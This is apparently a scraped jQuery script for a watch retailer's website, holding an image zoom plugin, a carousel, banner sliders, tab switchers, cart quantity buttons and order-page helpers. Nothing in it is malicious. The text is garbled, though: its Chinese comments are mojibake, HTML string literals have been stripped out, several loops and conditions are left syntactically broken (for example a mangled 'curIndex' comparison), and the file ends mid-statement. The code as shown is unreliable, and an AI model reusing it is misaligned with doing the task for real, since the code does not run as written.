$(function () { $(".ch_t").hover(function () { $(".ch_ts").hide(); $(".ch_ts").eq($(".ch_t").index($(this))).show(); }) }); (function($){ // 仿淘宝商品放大镜 $.zoom = { currentClass : 'cur', events : 'click' } $.fn.zoom = function(options){ // if(this.length > 1){ this.each(function(){ $(this).zoom(options); }); return; } var set = $.extend($.zoom,options); var lagerBox = this.children('.ui-zoom-large'), slide = lagerBox.children('.ui-zoom-slide'), mirror = lagerBox.children('.ui-zoom-mirror'), icon = lagerBox.children('.ui-zoom-icon'), smallBox = this.children('.ui-zoom-small'), list = smallBox.children('.ui-zoom-list'), prev = smallBox.children('.prev'), next = smallBox.children('.next'), lagerBoxWidth = lagerBox.width(), lagerBoxHeight = lagerBox.height(), slideWidth = slide.width(), slideHeight = slide.height(), mirrorWidth = mirror.width(); var largePic = null, mirrorPic = null, mirrorPicWidth = set.largePicWidth, mirrorPicHeight = set.largePicHeight, mirrorPicSrc = ''; if(lagerBox.children('img').length < 1){ largePic = $('').appendTo(lagerBox); }else{ largePic = lagerBox.children('img'); } if(mirror.children('img').length < 1){ mirrorPic = $('').appendTo(mirror); }else{ mirrorPic = lagerBox.children('img'); } var init = function(){ //初始化默认图? initView(); // 滑块昄隐藏 slideMirrorShowHide(); // 滑块Ud slideMove(); mirrorStop(); // ~略图滚? if(set.scroll){ carousel(); } // 列表囄切换 listActive(); }, // 滑块Ud slideMove = function(){ lagerBox.mousemove(function(e){ var l = e.pageX- lagerBox.offset().left - slideWidth/2; var t = e.pageY - lagerBox.offset().top - slideHeight/2; l = l<=0? l=0 : l>=lagerBoxWidth-slideWidth?lagerBoxWidth-slideWidth : l; t = t<=0? t=0 : t>=lagerBoxHeight-slideHeight?lagerBoxHeight-slideHeight : t; slide.css({ left : l, top : t }); // 攑֤镜变? mirrorDisplay(l,t); }); }, // 滑块昄隐藏 slideMirrorShowHide = function(){ lagerBox.hover(function(){ //从新获取大图 mirrorPicSrc = largePic.attr('rel'); mirrorPic.attr({src : mirrorPicSrc}); // 判断大图的宽? if(!mirrorPicWidth || !mirrorPicHeight){ imageLoad(mirrorPicSrc,function(w,h){ mirrorPicWidth = w; mirrorPicHeight = h; }); } slide.show(); mirror.show(); if(icon) icon.hide(); }, function(){ slide.hide(); mirror.hide(); if(icon) icon.show(); }) }, //攑֤镜部分阻止冒? mirrorStop = function(){ mirror.bind({ mouseover : function(e){ $(lagerBox).trigger('mouseleave'); e.stopPropagation(); }, mouseout : function(e){ e.stopPropagation(); } }); }, // 鼠标Ud攑֤镜变? mirrorDisplay = function(left, top){ var l = (left/lagerBoxWidth)*mirrorPicWidth; var t = (top/lagerBoxHeight)*mirrorPicHeight; mirrorPic.css({marginLeft : -l, marginTop : -t, width : 1056/*780*/, height : 1056/*985*/}); }, // 图片滚动支? carousel = function(){ if(!$.fn.xcarousel){ alert('~略图滚动需要插?xcarousel 的支?); return; } list.xcarousel({ auto : 0, size : 5, scroll :1, cycle : false, speed : 150 , prev : prev, next : next }); }, initView = function(){ var index = 0; // 初始化第一ơ加载显C图? list.find('li').each(function(i){ if($(this).hasClass(set.currentClass)){ index = i; } }); var li = list.find('li').eq(index); li.addClass(set.currentClass).siblings().removeClass(set.currentClass); var small = li.children('img').attr('small'); var large = li.children('img').attr('large'); largePic.attr({src : small, rel : large}); }, listActive = function(){ list.find('li').bind(set.events,function(){ $(this).addClass(set.currentClass).siblings().removeClass(set.currentClass); var small = $(this).children('img').attr('small'); var large = $(this).children('img').attr('large'); largePic.attr({src : small, rel : large}); }); }, // 囄加蝲控制 获取动态加载图片的宽度和高? // 如果没提供大囑֤,通过该函数加? imageLoad = function (url,fn){ var pic = new Image(); if($.browser.msie && ($.browser.version == '6.0' || $.browser.version == '7.0')){ pic.src = url+'?'+Math.random(); }else{ pic.src = url; } if($.browser.msie){ //IE pic.onreadystatechange = function(){ if (this.readyState=="loaded" || this.readyState=="complete"){ fn.call(this,this.width,this.height); } }; }else{ pic.onload = function(){ fn.call(this,this.width,this.height); } } }; init(); } })(jQuery); ;(function($){ $.fn.xcarousel = function(options){ var def = { auto : 4, //动画间隔旉 U?0Z自动播放 speed : 500, //动画持箋旉 direction : 'up', // left up size : 6, //可视区域的个?使用列表分页旉指定 用于分页) scroll : 1, //滚动的数? easing : 'swing', //动画效果 cycle : true, //是否无缝循环滚动 默认循环 否则到末ց? suffix : '-disable', //必须cycle为false,且指定了前进按钮和后退按钮才v作用?当滚动到末尾Ӟ会在当前class上追加该cd abs : false, //是否l对定位布局 提供对单个元素位|大变化的可能 pause : true, //是否鼠标q入后停?Ud后l?包含分页按钮和前后按钮在? prev : '', //前按? next : '', //后按? pager : '', //分页按钮 active : 'cur', //分页按钮当前状态的className distance : 0, // 指定元素之间距离Q单?非必要情况,勿提供,E序会自动计? initCallback : $.noop, //初始化完毕后执行回调函数 beforeChange : $.noop, // 跌{之前调用 参数 当前可视区域W一个元素的索引 this指向 c afterChange : $.noop // 跌{之后调用 }; var o = $.extend({},def,options); // 参数 var self = this, //包裹 r = this.children(), l = r.children(), len = l.length, //未复制DOM节点前的长度 真实长度 pageCount = Math.ceil(len / o.size); // 每屏q展Csize个,分多屏 var c = { i : 0, // 当前W几个元素 以可视区域第一个ؓ? _init : function(){ // 初始? var _this = this; // 前进后退按钮 if(o.prev || o.next){this._usePrevNext();} //查前后按钮是否可? if(!o.cycle && o.suffix){ this._prevNextUseful(); } // 个数不够一?退? if(len < o.size) return; if(len == 1) return; //循环滚动 if(o.cycle){ // 克隆两次 避免滚动个数太多Q出现空? l.clone().appendTo(r); l.clone().appendTo(r); } this._cssInit(); if(o.distance){ this.distance = o.distance; // 手动l出的距? }else{ if(o.direction == 'left'){ this.distance = l.eq(1).position().left - l.eq(0).position().left; // 横向Ud的距?包括内外边距 }else if(o.direction == 'up'){ this.distance = l.eq(1).position().top - l.eq(0).position().top; } } // 转化布局 if(o.abs) {this._useAbs();} // 分页 if(o.pager){this._usePager();} // 自动播放 if(o.auto > 0){this.autoPlay();} o.initCallback.call(this,c); // 初始化完成回? }, _cssInit : function(){ // css初始? self.css({'position':'relative',width:self.width(),height:self.height()}); if(o.direction == 'left'){ r.children().css({float:'left',display : 'inline'}); r.css({width:r.children().length * this.distance }); }else{ r.children().css({float : 'none',display : 'block'}); r.css({height:r.children().length * this.distance }); } }, // 从置位置Q实现无~滚? _afterReset : function(){ if(this.i >= len){ this.i = this.i - len; if(o.direction == 'left'){ r.css({left : this.i * -this.distance}); }else if(o.direction == 'up'){ r.css({top : this.i * -this.distance}); } } }, //使用l对定位 _useAbs : function(){ // 布局转化为绝对定位布局 r.css({'height' : r.height()}); r.children().each(function(){ var w = $(this).width(), h = $(this).height(), l = $(this).position().left, t = $(this).position().top; var str = "width:" + w + ',height:' + h + ',left:' + l + ',top:'+t; $(this).attr({'rel':str}).css({'left':l,'top':t}); }); r.children().css({'position':'absolute'}); }, // 使用列表分页 _usePager : function(){ this.pager = o.pager; var _this = this; if(typeof o.pager == 'string'){ this.pager = $(o.pager); } var str = ''; var cur = Math.floor(this.i / o.size); for(var i=0; i'+(i+1)+''; }else{ str += ''+(i+1)+''; } } this.pager.html(str); this.pager.children('a').click(function(){ var i = _this.pager.children('a').index(this); _this.skip(i*o.size); $(this).addClass(o.active).siblings().removeClass(o.active); }); }, _usePrevNext : function(){ // 往前按? if(o.prev){ this.prevBtn = o.prev; if(typeof o.prev == 'string'){ this.prevBtn = $(o.prev); } this.prevBtn.click(function(){ if(r.filter(':animated').length < 1){c.prev()}; }) } //往后按? if(o.next){ this.nextBtn = o.next; if(typeof o.next == 'string'){ this.nextBtn = $(o.next); } this.nextBtn.click(function(){ if(r.filter(':animated').length < 1){c.next()}; }) } }, // 循环滚动 _cycle : function(i){ var _this = this; var prev = this.i; var next = i; if(i<=0){ i = i + len; if(o.direction == 'left'){ r.css({left : (prev + len)*-this.distance}); }else if(o.direction == 'up'){ r.css({top : (prev + len)*-this.distance}); } } if(o.direction == 'left'){ var p = {'left' : -this.distance * i }; }else if(o.direction == 'up'){ var p = {'top' : -this.distance * i }; } r.animate(p,o.speed,o.easing,function(){ _this.i = i; //从新调整位置 _this._afterReset(); //分页? if(o.pager){ _this._pageCheck(); } o.afterChange.call(_this,i); }); }, // 非@环滚?到头部或N停?大部分手动播N要此功能) _move : function(i){ var prev = this.i; var _this = this; if(i > len - o.size){ i = len - o.size; } if(i < 0){i = 0;} if(o.direction == 'left'){ var p = {'left' : -this.distance * i }; }else if(o.direction == 'up'){ var p = {'top' : -this.distance * i }; } this.i = i; this._prevNextUseful(); r.animate(p,o.speed,o.easing,function(){ o.afterChange.call(_this,i); }); }, // 前后按钮是否可用判断 _prevNextUseful : function(){ if(!this.prevClass || !this.nextClass){ if(o.prev && typeof o.prev == 'string'){ // className存储h this.prevClass = o.prev.split(/\s+/g).pop().substr(1); }else{ this.prevClass = o.prev[0].className.split(/\s+/g).pop(); } if(o.next && typeof o.next == 'string'){ // className存储h this.nextClass = o.next.split(/\s+/g).pop().substr(1); }else{ this.nextClass = o.next[0].className.split(/\s+/g).pop(); } } if(this.i === 0){ this.prevBtn.addClass(this.prevClass+o.suffix); }else{ this.prevBtn.removeClass(this.prevClass+o.suffix); } if(this.i==len-o.size){ this.nextBtn.addClass(this.nextClass+o.suffix); }else{ this.nextBtn.removeClass(this.nextClass+o.suffix); } }, //动态切换分늊? _pageCheck : function(){ var curPage = Math.floor(this.i / o.size); this.pager.children('a').eq(curPage).addClass(o.active).siblings().removeClass(o.active); }, next : function(){ this.skip(this.i + o.scroll); }, prev : function(){ this.skip(this.i - o.scroll); }, // 跌 skip : function(i){ o.beforeChange.call(this,i); if(o.cycle){ this._cycle(i); }else{ this._move(i); } }, autoPlay : function(){ var _this = this; this.stop(); var autoTime=null; this.timer = window.setInterval(function(){ _this.next(); },o.auto * 1000); if(o.pause){ $().add(self).add(o.prev).add(o.next).add(this.pager).hover(function(){ clearTimeout(autoTime); _this.stop(); },function(){ autoTime = window.setTimeout(function(){ _this.autoPlay(); },o.auto * 1000) }); } }, stop : function(){ clearInterval(this.timer); } }; c._init(); return c; } })(jQuery); $(function(){ //l修|点 $(".wdcx .xialadiv li").hover(function(){ $(this).addClass("odd").siblings().removeClass("odd"); }); $(".xiala input").focus(function(){ $(this).siblings(".xialadiv").show(); }); $(".xiala input").blur(function(){ $(this).siblings(".xialadiv").show(); }); $(".xiala li").click(function(){ var dval = $(this).html(); $(this).parents(".xialadiv").siblings("input").val(dval); $(this).parents(".xialadiv").hide(); }); //招商加盟 $(".jmrx li").each(function(index){ if( (index+1)%3==0 ){$(this).addClass("mo");} }); //|站地图 $(".SiteMap ul li").each(function(index) { if( (index+1) % 4 == 0){ $(this).addClass("mo").after("
"); }; }); //产品面 $(".lei .leival").click(function(){ $(this).siblings(".xiadiv").slideDown(300); }); $(".xiadiv a").click(function(){ var dval=$(this).html(); $(this).parent().siblings("a.leival").text(dval); $(".xiadiv").slideUp(300); }); $(".proCt li").hover(function(){ $(this).addClass("curr").children(".proCtSdg").show(); $(this).siblings().removeClass("curr").children(".proCtSdg").hide(); }); $(".proCt li").each(function(index) { $(this).children(".proCtSdg").hide(); if( (index+1) % 3 == 0){ $(this).addClass("mo") }; }); $(".proCtSdg a").hover(function(){ $(this).addClass("curr").siblings().removeClass("curr") }) //产品面详细 $(".related .bd ul").each(function(){ $(this).find("li").last().addClass("mo"); }); function fnFocus(objBtn, objBox) { var oBtn = $(objBtn); var oBox = $(objBox); oBtn.click(function () { iThis = $(this).index(); $(this).addClass("curr").siblings().removeClass("curr"); oBox.eq(iThis).show().siblings().hide(); }) } fnFocus(".related .hd li", ".related .bd .bddiv"); //产品详细 //fnFocus(".TabBarBox li", ".TabBarCot .divcont"); //产品详细 fnFocus(".rczpTitle li", ".NewsJob .jodiv"); //常见问题 $(".morecs").click(function(){ $(".TabBarBox li:eq(1)").addClass("curr").siblings().removeClass("curr"); $(".TabBarCot .divcont:eq(1)").show().siblings().hide(); });//更多参数 $(".TabBarCot .divcont").first().show();//产品详细 $(".related .bd .bddiv, .NewsJob .jodiv").first().show(); }) $(function(){ function aacd(){ //首页 ww=$(window).width(); $(".tempWrap").width(ww); $(".Brandmodule li").width( ww/2 ); $(".Wristwatchlist li").width( Math.floor(ww/5) ); wct=$(".Wristwatchlist li").width(); $(".Wristwatchwrap, .Wristwatchlist li,.Wristwatchleft,.Wristwatchright,.tempWrap").height( Math.floor(wct/0.60-16) ) $(".Wristwatchlist li").hover(function(){ $(this).addClass("curr"); //$(this).children(".ale").height($(this).height()-2) },function(){ $(this).removeClass("curr"); //$(this).children(".ale").height($(this).height()) }); Brh=$(".Brandmodulelefttext").height(); $(".Brandmodulelefttext").css({"margin-top": -Brh/2 }); //10.26zwt $(".ebohrsworldcont ul li,.ebohrsworldvideo .bd li img").height(Math.round(ww*560/1920)); $(".ebohrsworldcont ul li span img").height(Math.round(ww*274/1920)); } $(window).resize(function(){aacd()}); aacd(); //销售门? $(".layer .close").click(function(){ $(".layer").hide(); }); $(".zsjm ul li").each(function(index) { if( (index+1) % 4 == 0){ $(this).addClass("mo") }; }); $(".hzhb ul li").each(function(index) { if( (index+1) % 6 == 0){ $(this).addClass("mo") }; }); $(".jyyb03 ul li, .ppwh03 ul li, .jmzczc li").last().addClass("mo"); $(".indexlogonav dd a em").last().css("background", "none"); $(".Wristchange span").last().css("background", "none"); //常见问题 $(".NewsJob dd").eq(0).addClass("curr one").children(".NewsJobCont").show(); $(".NewsJob dd").click(function(){ $(this).addClass("curr").children(".NewsJobCont").slideDown(); $(this).siblings().removeClass("curr").children(".NewsJobCont").slideUp(); }); bannerscroll(".indexbanner"); $(".Collectionspro ul li").hover(function () { $(this).addClass("thistextcolor"); }, function () { $(this).removeClass("thistextcolor"); }); $(".Brandmodule ul li").hover(function () { $(this).addClass("thisalink"); }, function () { $(this).removeClass("thisalink"); }); //原图~放 $(".zoomimg img").zoom_img(); }) var bannerscroll = function (bannerwrap) { var ind = 0; var rollwrap = $(bannerwrap); var list = rollwrap.find("ul li"); var len = list.length; var wind = $(window).width(); list.css({ "left": -wind, "z-index": 1, "position": "absolute" }).eq(0).css({ "z-index": 10, "left": 0 }); var btn = ''; for (var i = 1; i <= len; i++) btn += '' + ''; var btns = $(".bannerbtn"); var t = null; var timer = function () { window.clearInterval(t); t = window.setInterval(function () { sliders(ind == len - 1 ? 0 : ind + 1) }, 5000); }; timer(); rollwrap.hover(function () { clearInterval(t); }, function () { timer(); }); btns.html(btn).children("a").click(function () { sliders($(this).index()) timer(); }).removeClass("activeSlide").eq(ind).addClass("activeSlide"); function sliders(ind1) { if (ind == ind1) return; list.eq(ind).stop().animate({ "left": -wind, "z-index": 1 }, 800); list.eq(ind1).stop().css({ "left": wind, "z-index": 10 }).animate({ "left": 0 }, 800); btns.find("a").removeClass("activeSlide").eq(ind1).addClass("activeSlide"); ind = ind1; } } $.fn.zoom_img = function (options) { var $t = this; if ($t.length > 1) { $t.each(function () { $(this).zoom_img(options); }) return $t; } var ops = { width: 30, height: 18 } $t.css("position", "relative"); ops = $.extend(ops, options); if ($t.attr("_width")) { ops.width = window.parseInt($t.attr("_width")); ops.height = window.parseInt($t.attr("_height")); } var _left = ops.width / 2; var _top = ops.height / 2; var width = $(this).width(); var height = $(this).height(); if (width < 1) { var img = new Image() img.src = $t.attr("src"); img.onload = function () { //囄真实宽高 width = img.width; height = img.height; } } $t.hover(function () { var img = $(this); img.stop(true).animate({ width: width + ops.width, height: height + ops.height, left: -_left, top: -_top }, 500); }, function () { $(this).stop(true).animate({ width: width, height: height, left: 0, top: 0 }, 500); }); return $t; } //依L荣誉Q依波大C $(document).ready(function() { var index = 0; var length = $("#bd .bdiv").length; var hdLen = $("#hd li").width(); var i = 1; //关键函数Q通过控制i Q来昄囄 function showImg(i) { $("#bd .bdiv").eq(i).stop(true, true).fadeIn(800).siblings(".bdiv").hide(); $("#hd li").eq(i).addClass("curr").siblings().removeClass("curr"); } function slideNext() { if (index >= 0 && index < length - 1) {++index; showImg(index); } else if( length>7 ){ //if (confirm("已经是最后一?点击定重新览Q?)) { showImg(0); index = 0; //aniPx = (length - 7) * hdLen + 'px'; //所有图片数 - 可见囄?* 每张的距?= 最后一张滚动到W一张的距离 $("#cSlideUl ul").animate({//荣誉 "left": 0//"+=" + aniPx },500); $("#EntYear ul").animate({//大记? "top": 0 },500); i = 1; //} return false; } if (i < 0 || i > length - 7) { return false; } $("#cSlideUl ul").animate({//荣誉 "left": "-="+hdLen+"px" },200); $("#EntYear ul").animate({//大记? "top": "-="+65+"px" },200); i++; } function slideFront() { if (index >= 1) {--index; showImg(index); } if (i < 2 || i > length + 7) { return false; } $("#cSlideUl ul").animate({//荣誉 "left": "+="+hdLen+"px" },200); $("#EntYear ul").animate({//大记? "top": "+="+65+"px" },200); i--; } $("#bd .bdiv").eq(0).show(); $("#hd li").eq(0).addClass("curr"); $(".next").click(function() { slideNext(); }); $(".prev").click(function() { slideFront(); }); $("#hd li").click(function() { index = $("#hd li").index(this); showImg(index); }); $("#next").hover(function() { $(this).children("a").fadeIn(); }, function() { $(this).children("a").fadeOut(); }); }) $(function () { $(".showebohrsworldvideo").click(function () { $(".TemVideo").show(); Durl = $(this).attr("data-url"); if (Durl == "") { $(".videoCt .video_sp").html($(this).next("em").html()); } else { $(".videoCt .video_sp").html("" + " " + "" + "" + " " + " " + " " + " " + " "); } }); $(".videoClose").click(function () { $(".TemVideo").hide(); }) }) $(function () { $(".indexlogonav dd a").last().addClass("last"); $(".Guidelist:even").addClass("even"); $(document).on("click",".Guidelist dt",function () { var img = $(this).find("img").attr("da-img"); $(".daimg-poup").find(".imgbox img").attr("src",img); // console.log(img); if($(this).find("img").attr("da-img")){ $(".daimg-poup").show(); } }); $(".Guidelist").each(function () { if($(this).find("dt img").attr("da-img")) { $(this).find("dt").addClass("cur") $(this).find("dt .bigicon").show(); } }) $(".daimg-poup .closebtn").click(function () { $(".daimg-poup").hide(); }); if ($('#uls').length > 0) { $('#uls').roundabout({ btnNext: ".rightbtn", btnPrev: ".leftbtn", btns: ".btn" }); } }); $(function(){ //input l定 $("input[type=text],textarea").each(function() { var _this=$(this); var input_val=_this.val(); $(_this).live("focus",function(){ var fo_val=$(this).val(); if(fo_val==input_val) { $(this).val(""); } }); $(_this).live("blur",function(){ var bl_val=$(this).val(); if(bl_val=="") { $(this).val(input_val); } }); }); //产品pd $(".seriesCon:eq(0)").show(); $(".seriesCon ul li:eq(2),.seriesCon ul li:eq(1),.seriesCon ul li:eq(4)").addClass("hei480"); $(".seriesCon ul li:eq(5)").addClass("fright"); $(".productSeries ul li:eq(0),.productSeries ul li:eq(3)").addClass("hei724"); $(".productSeries ul li:eq(5),.productSeries ul li:eq(6)").addClass("width585"); $(".SeriesListTwo ul li:eq(0),.SeriesListTwo ul li:eq(7)").addClass("width588"); $(".seriesCon ul li").each(function(index, element) { $(this).find(".seriesConDetail").addClass("seriesConDetail"+index); }); $(".productSeries ul li").hover(function(){ $(this).find(".seriesTitle").stop(true,true).animate({top:10},500); $(this).find(".seriesMore").stop(true,true).animate({bottom:10},500); },function(){ $(this).find(".seriesMore").stop(true,true).animate({bottom:0},500); $(this).find(".seriesTitle").stop(true,true).animate({top:0},500); }); //情景pd $(".SceneSeries ul li:eq(1),.SceneSeries ul li:eq(2),.SceneSeries ul li:eq(4)").addClass("fright"); $(".SceneSeries ul li:eq(1),.SceneSeries ul li:eq(2),.SceneSeries ul li:eq(3),.SceneSeries ul li:eq(5)").addClass("hei405"); $(".SceneSeries ul li:eq(0),.SceneSeries ul li:eq(4)").addClass("hei820"); $(".SceneSeries ul li:last").addClass("abouste"); $(".SceneSeries ul li:eq(0) .ScSerDetail,.SceneSeries ul li:eq(4) .ScSerDetail").addClass("hei205"); var imgHarryW=[]; var imgHarryH=[]; $(".SceneSeries ul li").each(function(index, element) { var imgHeight=$(this).height(); var imgWidth=$(this).width(); imgHarryW.push(imgWidth); imgHarryH.push(imgHeight); }); $(".SceneSeries ul li").hover(function(index){ if($(this).is(":animated")){ return false; } liIndex=$(this).index(); $(this).find("img:eq(0)").stop(true,true).animate({"width":imgHarryW[liIndex]+100,"height":imgHarryH[liIndex]+80,"left":"-50px","top": "-40px"},1000); },function(){ if($(this).is(":animated")){ return false; } $(this).find("img:eq(0)").stop(true,true).animate({"width":imgHarryW[liIndex],"height":imgHarryH[liIndex],"left":"0px","top": "0px"},1000); }); //切换 $(".seriesMenu a").click(function(){ $(this).addClass("cur").siblings().removeClass("cur"); var aIndex=$(this).index(); $(".seriesWrap .seriesCon").eq(aIndex).show().siblings().hide(); }); //pd列表 $(".SeriesListTwo ul li:eq(8)").addClass("li8"); $(".SeriesListTwo ul li:eq(9)").addClass("li9"); $(".SeriesListOneImg").hover(function(){ $(this).find("img").stop(true,true).animate({"width":"673px","height":"461px","left":"-50px","top": "-40px"},1000); },function(){ $(this).find("img").stop(true,true).animate({"width":"573px","height":"381px","left":"0px","top": "0px"},1000); }); $(".SeriesListTwo ul li:eq(0),.SeriesListTwo ul li:eq(7)").addClass("pt160"); $(".SeriesListTwo ul li").hover(function(){ liIndex=$(this).index(); $(this).find(".SeriesText").stop(true,true).animate({"bottom":"0px"},500); },function(){ if(liIndex==0 || liIndex==7){ $(this).find(".SeriesText").stop(true,true).animate({"bottom":"-440px"},500); }else{ $(this).find(".SeriesText").stop(true,true).animate({"bottom":"-218px"},500); } }); $(".ui-zoom-list ul li").eq(0).addClass("cur"); //pd详细 $(".proSize span:not(.proSizeNone)").click(function(){ $(this).addClass("cur").siblings().removeClass("cur"); }); $(".proSize em").css({"height":$(".proSize").height()}); //数量加减 $(".NumDown").click(function(){ var inpObj=parseInt($(this).parent().find("input").val()); if(inpObj==1){ return false; }else{ inpObj-=1; $(this).parent().find("input").val(inpObj); } }); $(".NumUp").click(function(){ var inpObj=parseInt($(this).parent().find("input").val()); inpObj+=1; $(this).parent().find("input").val(inpObj); }); $(".proRecomWrap .tuijianCon:eq(0)").show(); //推荐产品 览历史切换 $(".tabRecom a").click(function(){ var taIndex=$(this).index(); $(this).addClass("cur").siblings().removeClass("cur"); $(".proRecomWrap .tuijianCon").eq(taIndex).show().siblings().hide(); }); //产品参数 $(".proPramaCon p").hover(function(){ $(this).addClass("cur").siblings().removeClass("cur"); }); //产品评论参数{切? $(".proDetailWrap .proDetailCon").eq(0).show(); $(".proTab a").click(function(){ var proIndex=$(this).index(); $(this).addClass("cur").siblings().removeClass("cur"); $(".proDetailWrap .proDetailCon").hide(); $(".proDetailWrap .proDetailCon").eq(proIndex).show(); }); //_֓选购下拉 $(".giftsSelect p").click(function(e){ e.stopPropagation(); $(this).parent().find(".giftsSub").show(); $(this).css({"min-width":"auto"}); }); $(".giftsSub a").click(function(){ var aText=$(this).text(); $(this).parents(".giftsSelect").find("p").text(aText); $(this).parent().hide(); }); $("body:not(.giftsSelect)").click(function(){ $(".giftsSub").hide(); }); //囄变大~小 $(".giftsImg").hover(function(){ $(this).find("img").stop(true,true).animate({"width":"373px","height":"279px","left":"-50px","top": "-40px"},1000); },function(){ $(this).find("img").stop(true,true).animate({"width":"273px","height":"199px","left":"0px","top": "0px"},1000); }); //人力资源 $(".HumResouTwo dl dt").click(function(){ if(!$(this).parent().hasClass("cur")){ $(this).parent().siblings().find("dd").slideUp(500); $(this).parent().siblings().removeClass("cur"); $(this).parent().addClass("cur"); $(this).next().stop(true,true).slideDown(500); }else{ $(this).parent().removeClass("cur"); $(this).next().stop(true,true).slideUp(500); } }); //品牌介绍滚动 $(".honorCon:eq(0)").show(); $(".honorYear span:eq(0)").addClass("cur"); //点击切换 $(".honorYear span").click(function(){ var spanIndex=$(this).index(); $(this).addClass("cur").siblings().removeClass("cur"); $(".honorWrap .honorCon").eq(spanIndex).show().siblings().hide(); }); var spanLen=$(".honorYear span").length; //q䆾双点击 $(".honorRight").click(function(){ //Ҏ选中的样式获索引 var curIndex; $(".honorYear span").each(function(index, element) { if($(this).hasClass("cur")){ curIndex=index; } }); curIndex++; if(curIndex>=6 && curIndex=5 && curIndex1){ var mostHeight=$(this).height(); $(this).parent().find("li:not(.tdInner)").css({"padding-top":(mostHeight-55)/2+"px"}); } }); //账户预览 var shopCart0=$(".shopCartDiv ul li:eq(0)").height(); var shopCart1=$(".shopCartDiv ul li:eq(1)").height(); //console.log(shopCart0+":"+shopCart1) if(shopCart0>shopCart1){ $(".shopCartDiv ul li:first").addClass("liMosth"); }else{ $(".shopCartDiv ul li:last").addClass("liMosth"); } }); //数量加减 $(".Minus").click(function(){ var inpObj=parseInt($(this).parent().find("input").val()); if(inpObj==1){ return false; }else{ inpObj-=1; $(this).parent().find("input").val(inpObj); } }); $(".Plus").click(function(){ var inpObj=parseInt($(this).parent().find("input").val()); inpObj+=1; $(this).parent().find("input").val(inpObj); }); $(".shopHistoryCon").hover(function(){ $(this).parent().find(".shopHistoryLeft").stop(true,true).animate({"left":"0px"}); $(this).parent().find(".shopHistoryRight").stop(true,true).animate({"right":"0px"}); },function(){ $(this).parent().find(".shopHistoryLeft").stop(true,true).animate({"left":"-50px"}); $(this).parent().find(".shopHistoryRight").stop(true,true).animate({"right":"-50px"}); }); $(".shopHistoryTab a").click(function(){ $(this).addClass("cur").siblings().removeClass("cur"); var shop=$(this).index(); $(".shopHistoryWrap .shopHistoryCon").eq(shop).show().siblings().hide(); }); //订单删除 $(".tdOperat span").click(function(){ var shopLen=$(this).parents(".ShopItemHolder").find(".ShopItem").length; if(shopLen<=1){ $(".ShopCartTit").hide(); $(".ShopCartPay").hide(); $(this).parents(".ShopItemHolder").remove(); } $(this).parents(".ShopItem").remove(); }); //填写订单-删除 $(".adressDelete").live("click",function(){ $(this).parents("li").remove(); }); //使用新地址 $(".addAddress").live("click",function(){ $(this).parent().before("
  • "); $(this).parent().hide(); }); //地址保存 $(".saveBtn").live("click",function(){ //$(this).parent().hide(); }); //地址~辑 $(".adressEdit").click(function(){ $(this).parent().hide(); $(this).parent().after(""); }); $(".FillOrderCom").each(function(index, element) { $(this).find("span:eq(0)").addClass("cur"); }); $(".FillOrderCom span").click(function(){ $(this).addClass("cur").siblings().removeClass("cur"); }); $(".InvoiceInfor span:eq(0)").addClass("cur"); $(".InvoiceInfor span").click(function(){ $(".InvoiceInfor span").removeClass("cur"); $(this).addClass("cur"); if($(".InvoiceInfor span").index($(this))==1){ $(this).parent().find(".Unit").show(); }else{ $(this).parent().find(".Unit").hide(); } }); //使用优惠? $(".userCouponOne label input").click(function(){ if($(this).attr("checked")){ $(this).parent().next().show(); }else{ $(this).parent().next().hide(); } }); //支付方式 $(".payWay input").click(function(){ if($(this).attr("checked")){ $(".payWay").removeClass("cur"); $(this).parent().addClass("cur"); if($(".shopPay .payWay").index($(this).parent())==1){ $(".weixin").css({"display":"table"}); }else{ $(".weixin").hide(); } } }); //评分 $(".ReviewWrap a").click(function(){ if($(this).hasClass("cur")){ $(this).removeClass("cur"); }else{ $(this).addClass("cur"); } }); //左边双高度比较 $(".meberLeft ul:last").css({"border-bottom":"none"}); var melHeight=$(".meberLeft").outerHeight(true); var merHeight=$(".meberRight").outerHeight(true); if(melHeight>merHeight){ $(".meberRight").height(melHeight-12) }else{ $(".meberLeft").height(merHeight-100); } //我的收藏 $(".myCollect ul li").hover(function(){ $(this).find(".CollectHover").show(); },function(){ $(this).find(".CollectHover").hide(); }); //我的退换货 cd $(".ReturnType label").click(function(){ if($(this).find("input").attr("checked")){ var LaIndex=$(".ReturnType label").index($(this)); $(".applyMyReturnsWrap .ReasonCom").hide(); $(".applyMyReturnsWrap .ReasonCom").eq(LaIndex).show(); }; }); $(".lookReRecord tbody tr:odd td").css({"background":"#f4f6f9"}); $(".myorderItemCon").each(function(index, element) { var _this=$(this); var mostHeight=0; $(".tddiv",_this).each(function(index, element) { var tdHeight=$(this).outerHeight(true); if(tdHeight>mostHeight){ mostHeight=tdHeight; } }); $(".tddiv",_this).css({"height":mostHeight-30,"line-height":mostHeight-30+"px"}); $(".myorder03 span",_this).css({"padding-top":(mostHeight-70)/2}); }); //个h资料更改 $(".update").click(function(){ $(this).parent().hide(); var textEm=$(this).prev().text(); $(this).parent().next().show(); $(this).parent().next().find("input").attr("placeholder",textEm); }); //我的消息 $(".MessageBtn").click(function(){ if($(this).parents(".MessageInfor").next().is(":hidden")){ $(this).parents(".MessageInfor").next().show(); $(this).parents("tr").removeClass("unMessage"); }else{ $(this).parents(".MessageInfor").next().hide(); } }); //全? $(".MyMessagesCon table thead td:eq(0) input").click(function(){ if($(this).attr("checked")){ $(".MyMessagesCon tbody tr td input").attr("checked",true); }else{ $(".MyMessagesCon tbody tr td input").attr("checked",false); } }); //我的消息删除 $(".delete").click(function(){ $(".MyMessagesCon tbody tr").each(function(index, element) { if($(this).find("td:eq(0) input").attr("checked")){ $(this).remove(); } }); $(".MyMessagesCon thead input").attr("checked",false); }); //我的消息左边N?--全选有? $(".MyMessagesCon tbody tr input").click(function(){ var trLen=$(".MyMessagesCon tbody tr").length; var tdinput=0; $(".MyMessagesCon tbody tr").each(function(index, element) { if($(this).find("td:eq(0) input").attr("checked")){ tdinput++; } }); if(tdinput==trLen){ $(".MyMessagesCon thead input").attr("checked",true); }else{ $(".MyMessagesCon thead input").attr("checked",false); } }); //我的消息 只显C未? $(".MyMessagesTop label input").click(function(){ if($(this).attr("checked")){ $(".MyMessagesCon tbody tr").each(function(index, element) { if(!$(this).hasClass("unMessage")){ $(this).hide(); }; }); }else{ $(".MyMessagesCon tbody tr").show(); } }); //我的消息 标ؓ已读 $(".markYi").click(function(){ $(".MyMessagesCon tbody tr").removeClass("unMessage"); }); //扑֛密码 $(".phoneAndSms a").click(function(){ $(this).parents(".phoneAndSms").hide(); var 